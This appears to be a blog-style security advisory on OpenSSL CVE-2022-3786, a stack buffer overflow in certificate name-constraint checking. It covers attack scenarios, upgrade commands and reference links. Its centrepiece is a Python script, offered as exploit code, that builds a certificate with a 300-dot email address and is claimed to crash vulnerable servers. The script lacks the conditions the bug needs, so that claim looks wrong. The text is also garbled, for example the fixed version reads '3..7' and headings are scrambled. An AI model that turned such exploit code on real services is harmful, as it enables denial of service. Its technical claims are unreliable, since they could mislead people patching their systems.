In October 2022, security researchers found a buffer overrun vulnerability in OpenSSL’s code that checks X.509 certificate name constraints (OpenSSL Advisory). In plain language, OpenSSL could be tricked into writing too much data on the stack if it attempts to check a malicious certificate’s name fields.
CVSS Score: 7.5 (High)
The error happens after verifying the certificate’s signature. This means either a trusted Certificate Authority (CA) must sign the malicious certificate, or the application has to continue checking even though it can’t find a trusted CA.
How Does the Vulnerability Work?
The flaw lives in name constraint checking – a part of certificates where a CA can say, “only these names are valid for this certificate.” OpenSSL tries to process these rules, but it doesn’t check boundaries properly when dealing with email addresses.
If someone creates a certificate with a fake email address and fills it with dots (. or decimal 46 in ASCII), OpenSSL will try to copy this data into a fixed-size stack array — but won’t check that it fits. This is classic _buffer overflow_.
Result:
The OpenSSL program may crash (denial of service)
- Potential for further code execution (practical exploitation for takeover is complex, but theoretically possible)
For a TLS Client (like a browser): Connect to a malicious server
- For a TLS Server (webserver): If client authentication is enabled, a malicious client can exploit the bug
Create a malicious certificate
- Craft an email address in the certificate’s Subject Alternative Name (SAN) with lots of dots, like: .....................@example.com
Most likely: The application crashes (DoS).
- Less likely: Exploit arbitrary code execution (very hard, but stack overflow = potential for deeper attack).
Example Exploit Code
Here’s a Python script using cryptography to make a certificate with a crazy email address. You’d need to get this signed by a CA or set a test OpenSSL server to accept it.
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.x509.oid import ExtensionOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
import datetime
# Malicious email with a lot of dots
malicious_email = "." * 300 + "@example.com"
# Generate a key
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
# Create certificate
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, u"US"),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, u"Evil Corp"),
x509.NameAttribute(NameOID.COMMON_NAME, u"malicious.com"),
])
san = x509.SubjectAlternativeName([
x509.RFC822Name(malicious_email)
])
cert = (
x509.CertificateBuilder()
.subject_name(subject)
.issuer_name(issuer)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(datetime.datetime.utcnow())
.not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=10))
.add_extension(san, critical=False)
.sign(key, hashes.SHA256())
)
with open("malicious_cert.pem", "wb") as f:
f.write(cert.public_bytes(serialization.Encoding.PEM))
This is proof-of-concept; exploitation for code execution is much harder, but this will crash vulnerable OpenSSL versions when name constraints are processed.
Request client authentication
If your application only accepts trusted server certificates from public CAs and doesn’t do weird PKI things, impact is lower, but you should still update.
Upgrade Now!
- Fixed in OpenSSL 3..7 (November 2022): Release Notes
- On Linux, update via your package manager
- sudo apt update && sudo apt upgrade (Debian/Ubuntu)
- sudo yum update openssl (RHEL/CentOS)
OpenSSL Security Advisory 2022-11-01:
https://www.openssl.org/news/secadv/20221101.txt
NIST CVE Database:
https://nvd.nist.gov/vuln/detail/CVE-2022-3786
OpenSSL Release Notes:
https://www.openssl.org/news/vulnerabilities.html
Technical Analysis (GitHub):
https://github.com/openssl/openssl/issues/19547
Conclusion:
CVE-2022-3786 is a high-profile OpenSSL bug — easy to crash, hard to exploit for code execution, but worth fixing immediately. Always keep your cryptography tools up to date!
Timeline
Published on: 11/01/2022 18:15:00 UTC
Last modified on: 11/04/2022 12:15:00 UTC